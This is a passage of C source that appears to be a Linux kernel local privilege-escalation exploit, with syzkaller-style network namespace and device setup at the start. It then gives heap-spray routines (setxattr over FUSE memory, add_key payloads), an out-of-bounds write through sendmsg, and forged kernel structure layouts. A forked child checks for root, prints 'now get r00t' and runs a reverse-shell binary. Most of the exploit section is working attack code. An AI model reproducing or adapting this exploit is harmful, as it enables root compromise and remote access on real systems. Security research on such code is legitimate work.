netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); | |
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, | |
sizeof(endpoint_b_v4)); | |
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, | |
&persistent_keepalives[0], 2); | |
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, | |
sizeof(first_half_v4)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, | |
sizeof(first_half_v6)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); | |
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6, | |
sizeof(endpoint_c_v6)); | |
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, | |
&persistent_keepalives[1], 2); | |
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, | |
sizeof(second_half_v4)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, | |
sizeof(second_half_v6)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
err = netlink_send(&nlmsg, sock); | |
if (err < 0) { | |
} | |
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); | |
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1); | |
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32); | |
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2); | |
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); | |
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, | |
sizeof(endpoint_a_v6)); | |
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, | |
&persistent_keepalives[2], 2); | |
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, | |
sizeof(first_half_v4)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, | |
sizeof(first_half_v6)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); | |
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4, | |
sizeof(endpoint_c_v4)); | |
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, | |
&persistent_keepalives[3], 2); | |
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, | |
sizeof(second_half_v4)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, | |
sizeof(second_half_v6)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
err = netlink_send(&nlmsg, sock); | |
if (err < 0) { | |
} | |
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); | |
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1); | |
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32); | |
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2); | |
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); | |
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, | |
sizeof(endpoint_a_v6)); | |
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, | |
&persistent_keepalives[4], 2); | |
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, | |
sizeof(first_half_v4)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, | |
sizeof(first_half_v6)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); | |
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, | |
sizeof(endpoint_b_v4)); | |
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, | |
&persistent_keepalives[5], 2); | |
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, | |
sizeof(second_half_v4)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_nest(&nlmsg, NLA_F_NESTED | 0); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, | |
sizeof(second_half_v6)); | |
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
netlink_done(&nlmsg); | |
err = netlink_send(&nlmsg, sock); | |
if (err < 0) { | |
} | |
error: | |
close(sock); | |
} | |
static void initialize_netdevices(void) | |
{ | |
char netdevsim[16]; | |
sprintf(netdevsim, "netdevsim%d", (int)procid); | |
struct { | |
const char* type; | |
const char* dev; | |
} devtypes[] = { | |
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"}, | |
{"vcan", "vcan0"}, {"bond", "bond0"}, | |
{"team", "team0"}, {"dummy", "dummy0"}, | |
{"nlmon", "nlmon0"}, {"caif", "caif0"}, | |
{"batadv", "batadv0"}, {"vxcan", "vxcan1"}, | |
{"netdevsim", netdevsim}, {"veth", 0}, | |
{"xfrm", "xfrm0"}, {"wireguard", "wg0"}, | |
{"wireguard", "wg1"}, {"wireguard", "wg2"}, | |
}; | |
const char* devmasters[] = {"bridge", "bond", "team", "batadv"}; | |
struct { | |
const char* name; | |
int macsize; | |
bool noipv6; | |
} devices[] = { | |
{"lo", ETH_ALEN}, | |
{"sit0", 0}, | |
{"bridge0", ETH_ALEN}, | |
{"vcan0", 0, true}, | |
{"tunl0", 0}, | |
{"gre0", 0}, | |
{"gretap0", ETH_ALEN}, | |
{"ip_vti0", 0}, | |
{"ip6_vti0", 0}, | |
{"ip6tnl0", 0}, | |
{"ip6gre0", 0}, | |
{"ip6gretap0", ETH_ALEN}, | |
{"erspan0", ETH_ALEN}, | |
{"bond0", ETH_ALEN}, | |
{"veth0", ETH_ALEN}, | |
{"veth1", ETH_ALEN}, | |
{"team0", ETH_ALEN}, | |
{"veth0_to_bridge", ETH_ALEN}, | |
{"veth1_to_bridge", ETH_ALEN}, | |
{"veth0_to_bond", ETH_ALEN}, | |
{"veth1_to_bond", ETH_ALEN}, | |
{"veth0_to_team", ETH_ALEN}, | |
{"veth1_to_team", ETH_ALEN}, | |
{"veth0_to_hsr", ETH_ALEN}, | |
{"veth1_to_hsr", ETH_ALEN}, | |
{"hsr0", 0}, | |
{"dummy0", ETH_ALEN}, | |
{"nlmon0", 0}, | |
{"vxcan0", 0, true}, | |
{"vxcan1", 0, true}, | |
{"caif0", ETH_ALEN}, | |
{"batadv0", ETH_ALEN}, | |
{netdevsim, ETH_ALEN}, | |
{"xfrm0", ETH_ALEN}, | |
{"veth0_virt_wifi", ETH_ALEN}, | |
{"veth1_virt_wifi", ETH_ALEN}, | |
{"virt_wifi0", ETH_ALEN}, | |
{"veth0_vlan", ETH_ALEN}, | |
{"veth1_vlan", ETH_ALEN}, | |
{"vlan0", ETH_ALEN}, | |
{"vlan1", ETH_ALEN}, | |
{"macvlan0", ETH_ALEN}, | |
{"macvlan1", ETH_ALEN}, | |
{"ipvlan0", ETH_ALEN}, | |
{"ipvlan1", ETH_ALEN}, | |
{"veth0_macvtap", ETH_ALEN}, | |
{"veth1_macvtap", ETH_ALEN}, | |
{"macvtap0", ETH_ALEN}, | |
{"macsec0", ETH_ALEN}, | |
{"veth0_to_batadv", ETH_ALEN}, | |
{"veth1_to_batadv", ETH_ALEN}, | |
{"batadv_slave_0", ETH_ALEN}, | |
{"batadv_slave_1", ETH_ALEN}, | |
{"geneve0", ETH_ALEN}, | |
{"geneve1", ETH_ALEN}, | |
{"wg0", 0}, | |
{"wg1", 0}, | |
{"wg2", 0}, | |
}; | |
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); | |
if (sock == -1) | |
exit(1); | |
unsigned i; | |
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) | |
netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev); | |
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) { | |
char master[32], slave0[32], veth0[32], slave1[32], veth1[32]; | |
sprintf(slave0, "%s_slave_0", devmasters[i]); | |
sprintf(veth0, "veth0_to_%s", devmasters[i]); | |
netlink_add_veth(&nlmsg, sock, slave0, veth0); | |
sprintf(slave1, "%s_slave_1", devmasters[i]); | |
sprintf(veth1, "veth1_to_%s", devmasters[i]); | |
netlink_add_veth(&nlmsg, sock, slave1, veth1); | |
sprintf(master, "%s0", devmasters[i]); | |
netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL); | |
netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL); | |
} | |
netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL); | |
netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL); | |
netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr"); | |
netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr"); | |
netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1"); | |
netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL); | |
netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL); | |
netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi"); | |
netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0", | |
"veth1_virt_wifi"); | |
netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan"); | |
netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q)); | |
netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD)); | |
netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan"); | |
netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan"); | |
netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0); | |
netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S, | |
IPVLAN_F_VEPA); | |
netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap"); | |
netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap"); | |
netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap"); | |
char addr[32]; | |
sprintf(addr, DEV_IPV4, 14 + 10); | |
struct in_addr geneve_addr4; | |
if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0) | |
exit(1); | |
struct in6_addr geneve_addr6; | |
if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0) | |
exit(1); | |
netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0); | |
netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6); | |
netdevsim_add((int)procid, 4); | |
netlink_wireguard_setup(); | |
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) { | |
char addr[32]; | |
sprintf(addr, DEV_IPV4, i + 10); | |
netlink_add_addr4(&nlmsg, sock, devices[i].name, addr); | |
if (!devices[i].noipv6) { | |
sprintf(addr, DEV_IPV6, i + 10); | |
netlink_add_addr6(&nlmsg, sock, devices[i].name, addr); | |
} | |
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40); | |
netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr, | |
devices[i].macsize, NULL); | |
} | |
close(sock); | |
} | |
static void initialize_netdevices_init(void) | |
{ | |
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); | |
if (sock == -1) | |
exit(1); | |
struct { | |
const char* type; | |
int macsize; | |
bool noipv6; | |
bool noup; | |
} devtypes[] = { | |
{"nr", 7, true}, | |
{"rose", 5, true, true}, | |
}; | |
unsigned i; | |
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) { | |
char dev[32], addr[32]; | |
sprintf(dev, "%s%d", devtypes[i].type, (int)procid); | |
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1); | |
netlink_add_addr4(&nlmsg, sock, dev, addr); | |
if (!devtypes[i].noipv6) { | |
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1); | |
netlink_add_addr6(&nlmsg, sock, dev, addr); | |
} | |
int macsize = devtypes[i].macsize; | |
uint64_t macaddr = 0xbbbbbb + | |
((unsigned long long)i << (8 * (macsize - 2))) + | |
(procid << (8 * (macsize - 1))); | |
netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr, | |
macsize, NULL); | |
} | |
close(sock); | |
} | |
static void setup_common() | |
{ | |
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { | |
} | |
} | |
static void loop(); | |
static int wait_for_loop(int pid) | |
{ | |
if (pid < 0) | |
exit(1); | |
int status = 0; | |
while (waitpid(-1, &status, __WALL) != pid) { | |
} | |
return WEXITSTATUS(status); | |
} | |
static void drop_caps(void) | |
{ | |
struct __user_cap_header_struct cap_hdr = {}; | |
struct __user_cap_data_struct cap_data[2] = {}; | |
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; | |
cap_hdr.pid = getpid(); | |
if (syscall(SYS_capget, &cap_hdr, &cap_data)) | |
exit(1); | |
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); | |
cap_data[0].effective &= ~drop; | |
cap_data[0].permitted &= ~drop; | |
cap_data[0].inheritable &= ~drop; | |
if (syscall(SYS_capset, &cap_hdr, &cap_data)) | |
exit(1); | |
} | |
static int real_uid; | |
static int real_gid; | |
__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20]; | |
static int namespace_sandbox_proc(void* arg) | |
{ | |
write_file("/proc/self/setgroups", "deny"); | |
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) | |
exit(1); | |
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) | |
exit(1); | |
initialize_netdevices_init(); | |
if (unshare(CLONE_NEWNET)) | |
exit(1); | |
initialize_netdevices(); | |
loop(); | |
exit(1); | |
} | |
static int do_sandbox_namespace(void) | |
{ | |
setup_common(); | |
real_uid = getuid(); | |
real_gid = getgid(); | |
mprotect(sandbox_stack, 4096, PROT_NONE); | |
int pid = | |
clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64], | |
CLONE_NEWUSER | CLONE_NEWPID, 0); | |
return wait_for_loop(pid); | |
} | |
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; | |
struct fork_args { | |
int n; | |
unsigned int time; | |
}; | |
void fork_spary_n(int n, unsigned int time, int debug){ | |
int i; | |
int pid ; | |
for(i = 0;i < n;i++){ | |
pid = fork(); | |
if(pid ==0){ | |
ioctl(-1, 0x37778, &debug); | |
sleep(time); | |
if(getuid() == 0){ | |
fprintf(stderr, "[+] now get r00t\n" ); | |
system("id"); | |
system("/home/p4nda/Desktop/reverse_shell"); | |
} else{ | |
pause(); | |
} | |
} | |
} | |
} | |
void packet_socket_rx_ring_init(int s, unsigned int block_size, | |
unsigned int frame_size, unsigned int block_nr, | |
unsigned int sizeof_priv, unsigned int timeout) { | |
int v = TPACKET_V3; | |
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); | |
if (rv < 0) { | |
perror("[-] setsockopt(PACKET_VERSION)"); | |
exit(EXIT_FAILURE); | |
} | |
struct tpacket_req3 req; | |
memset(&req, 0, sizeof(req)); | |
req.tp_block_size = block_size; | |
req.tp_frame_size = frame_size; | |
req.tp_block_nr = block_nr; | |
req.tp_frame_nr = (block_size * block_nr) / frame_size; | |
req.tp_retire_blk_tov = timeout; | |
req.tp_sizeof_priv = sizeof_priv; | |
req.tp_feature_req_word = 0; | |
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); | |
if (rv < 0) { | |
perror("[-] setsockopt(PACKET_RX_RING)"); | |
exit(EXIT_FAILURE); | |
} | |
} | |
int packet_socket_setup(unsigned int block_size, unsigned int frame_size, | |
unsigned int block_nr, unsigned int sizeof_priv, int timeout) { | |
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); | |
if (s < 0) { | |
perror("[-] socket(AF_PACKET)"); | |
exit(EXIT_FAILURE); | |
} | |
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, | |
sizeof_priv, timeout); | |
struct sockaddr_ll sa; | |
memset(&sa, 0, sizeof(sa)); | |
sa.sll_family = PF_PACKET; | |
sa.sll_protocol = htons(ETH_P_ALL); | |
sa.sll_ifindex = if_nametoindex("lo"); | |
sa.sll_hatype = 0; | |
sa.sll_pkttype = 0; | |
sa.sll_halen = 0; | |
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); | |
if (rv < 0) { | |
perror("[-] bind(AF_PACKET)"); | |
exit(EXIT_FAILURE); | |
} | |
return s; | |
} | |
void initialise_shared(shared_data **data) | |
{ | |
// place our shared data in shared memory | |
int prot = PROT_READ | PROT_WRITE; | |
int flags = MAP_SHARED | MAP_ANONYMOUS; | |
*data = mmap(NULL, sizeof(shared_data), prot, flags, -1, 0); | |
if (*data == MAP_FAILED) { | |
perror("mmap"); | |
exit(EXIT_FAILURE); | |
} | |
#ifdef DEBUG | |
printf("initialise_shared map %lx", *data); | |
#endif | |
(*data)->done = 0; | |
// initialise mutex so it works properly in shared memory | |
pthread_mutexattr_t attr; | |
pthread_mutexattr_init(&attr); | |
pthread_mutexattr_setpshared(&attr, PTHREAD_PROCESS_SHARED); | |
pthread_mutex_init(&(*data)->mutex, &attr); | |
for (int i=0; i<=N_PROCS; i++) | |
pthread_mutex_init(&(*data)->proc_mutex[i], &attr); | |
} | |
int pagealloc_pad(int count, int size) { | |
return packet_socket_setup(size, 2048, count, 0, 100); | |
} | |
int packet_sock_kmalloc() { | |
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); | |
if (s == -1) { | |
perror("[-] socket(SOCK_DGRAM)"); | |
exit(EXIT_FAILURE); | |
} | |
return s; | |
} | |
void send_xattr_debug(void *arg) | |
{ | |
char name[256]; | |
void *addr = ((struct spray_argv *)arg)->addr; | |
int size = ((struct spray_argv *)arg)->size; | |
pthread_mutex_lock(&spray_lock->mutex); | |
spray_lock->done++; | |
pthread_mutex_unlock(&spray_lock->mutex); | |
#ifdef DEBUG | |
int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_USER_KEY_PAYLOAD | PRINT_XATTR); | |
ioctl(-1, 0x37778, &debug); | |
#endif | |
syscall(__NR_setxattr, "./", "exp", addr, size, 0); | |
} | |
void spray_4k_thread(int size, int n) | |
{ | |
pthread_t *thr = malloc(sizeof(pthread_t)); | |
struct spray_argv *arg = (struct spray_argv *)malloc(sizeof(struct spray_argv)); | |
arg->addr = fuse_mem_addr; | |
arg->size = size; | |
pthread_mutex_lock(&spray_lock->mutex); | |
for (int j=0; j<n; j++) { | |
hang_threads->done++; | |
pthread_create(thr, NULL, send_xattr_debug, (void *) arg); | |
} | |
} | |
void release_spray_4k_lock(int limit) { | |
pthread_mutex_unlock(&spray_lock->mutex); | |
while (spray_lock->done < limit) | |
usleep(10000); | |
spray_lock->done = 0; | |
} | |
int *spray_user_key(int n, int size, int base) | |
{ | |
int payload_size = size - sizeof(struct fake_user_key_payload); | |
int *fd = malloc(n * sizeof(int)); | |
void *addr = malloc(0x30000); | |
char *buf = addr; | |
char *name = (uint64_t)addr + 0x20000; | |
memcpy((void*)name, "user\000", 5); | |
for (int i = 0; i < n; i++) { | |
release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB-2); | |
memset(buf, 0x41, payload_size); | |
char *des = (uint64_t)addr + 0x10000ul; | |
sprintf((void*)des, "syz%d\x00", base*n+i); | |
#ifdef DEBUG | |
printf("add key %d\n", base); | |
#endif | |
fd[i] = syscall(__NR_add_key, name, des, buf, payload_size, -1); | |
if (fd[i] < 0) { | |
perror("add_key failed\n"); | |
pause(); | |
} | |
} | |
return fd; | |
} | |
void init_fuse_mem(char *fuse_path, void **fuse_addr, void *base, int size) | |
{ | |
fuse_fd = open(fuse_path, O_RDWR); | |
if (fuse_fd < 0) { | |
perror("open fuse failed\n"); | |
exit(1); | |
} | |
if (base == NULL) | |
*fuse_addr = mmap(base, size, PROT_READ | PROT_WRITE, | |
MAP_SHARED, fuse_fd, 0); | |
else | |
*fuse_addr = mmap(base, size, PROT_READ | PROT_WRITE, | |
MAP_SHARED | MAP_FIXED, fuse_fd, 0); | |
if (*fuse_addr == MAP_FAILED) { | |
perror("mmap failed\n"); | |
exit(1); | |
} | |
#ifdef DEBUG | |
printf("mmap-> 0x%llx\n", *fuse_addr); | |
#endif | |
} | |
void send_xattr(void *arg) | |
{ | |
void *addr = ((struct spray_argv *)arg)->addr; | |
int size = ((struct spray_argv *)arg)->size; | |
pthread_mutex_lock(&spray_lock->mutex); | |
spray_lock->done++; | |
pthread_mutex_unlock(&spray_lock->mutex); | |
syscall(__NR_setxattr, "./", "exp", addr, size, 0); | |
} | |
void spray_4k(int n, int size) { | |
if (fuse_mem_addr == NULL) | |
perror("fuse_mem_addr is NULL"); | |
initialise_shared(&spray_lock); | |
for (int k=0; k<n; k++) { | |
if (fork() == 0) { | |
for (int i=0; i<SLAB_4k_OBJS_PER_SLAB; i++) { | |
pthread_t thr; | |
struct spray_argv *arg = (struct spray_argv *)malloc(sizeof(struct spray_argv)); | |
arg->addr = fuse_mem_addr; | |
arg->size = size; | |
hang_threads->done++; | |
pthread_create(&thr, NULL, send_xattr, (void *) arg); | |
} | |
pause(); | |
} | |
} | |
while(spray_lock->done < n * SLAB_4k_OBJS_PER_SLAB-1) { | |
usleep(10000); | |
} | |
spray_lock->done = 0; | |
} | |
void oob_write(char *payload, int size, int oob_page, int fd1, int fd2) { | |
struct msghdr msg; | |
struct iovec iov; | |
char *addr = NULL; | |
memset(&iov, 0, sizeof(iov)); | |
memset(&msg, 0, sizeof(msg)); | |
for (int i = 0; i < 8; i++) { | |
memset((void*)0x20000000+i*PAGE_SIZE+LAST_PAGE_GAP_BYTES, 0x41+i, 4096); | |
} | |
for (int i=8; i<=oob_page; i++) { | |
addr = 0x20000000+i*PAGE_SIZE+LAST_PAGE_GAP_BYTES; | |
memset(addr, 0x0, 4096); | |
memcpy(addr, payload, size); | |
} | |
iov.iov_base = (void*)0x20000000; | |
iov.iov_len = oob_page*PAGE_SIZE + LAST_PAGE_GAP_BYTES + size; | |
msg.msg_name = 0x0; | |
msg.msg_namelen = 0x0; | |
msg.msg_iov = &iov; | |
msg.msg_iovlen = 1; | |
msg.msg_control = 0; | |
msg.msg_controllen = 0; | |
msg.msg_flags = 0; | |
if (fd1 != -1) | |
close(fd1); | |
if (fd2 != -1) | |
close(fd2); | |
syscall(__NR_sendmsg, r[1], &msg, 0ul); | |
} | |
struct vm_area_struct { | |
uint64_t vm_start; | |
uint64_t vm_end; | |
void * vm_next; | |
void * vm_prev; | |
void * vm_rb[3]; | |
uint64_t rb_subtree_gap; | |
void * vm_mm; | |
uint64_t vm_page_prot; | |
long unsigned int vm_flags; | |
void * garbage[6]; | |
void * anon_vma; | |
void * vm_ops; | |
long unsigned int vm_pgoff; | |
void * vm_file; | |
void * vm_private_data; | |
long unsigned int swap_readahead_info; | |
void * vm_policy; | |
uint64_t vm_userfaultfd_ctx; | |
} __attribute__((__aligned__(8))); | |
struct file { | |
void* f_u[2] __attribute__((__aligned__(8))); | |
void* f_path[2]; | |
void* f_inode; | |
void* f_op; | |
uint32_t f_lock; | |
uint32_t f_write_hint; | |
uint64_t f_count; | |
unsigned int f_flags; | |
uint32_t f_mode; | |
uint64_t f_pos_lock[4]; | |
uint64_t f_pos; | |
uint64_t f_owner[4]; | |
void* f_cred; | |
uint64_t f_ra[4]; | |
uint64_t f_version; | |
void* f_security; | |
void* private_data; | |
void* f_ep; | |
void* f_mapping; | |
uint32_t f_wb_err; | |
uint32_t f_sb_err; | |
} __attribute__((__aligned__(8))); | |
void HexDump(const void* data, size_t size) | |
{ | |
char ascii[17]; | |
size_t i, j; | |
ascii[16] = '\0'; | |
for (i = 0; i < size; ++i) { | |
printf("%02X ", ((unsigned char*)data)[i]); | |
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { | |
ascii[i % 16] = ((unsigned char*)data)[i]; | |
} else { | |
ascii[i % 16] = '.'; | |
} | |
if ((i+1) % 8 == 0 || i+1 == size) { | |
printf(" "); | |
if ((i+1) % 16 == 0) { | |
printf("| %s \n", ascii); | |
} else if (i+1 == size) { | |
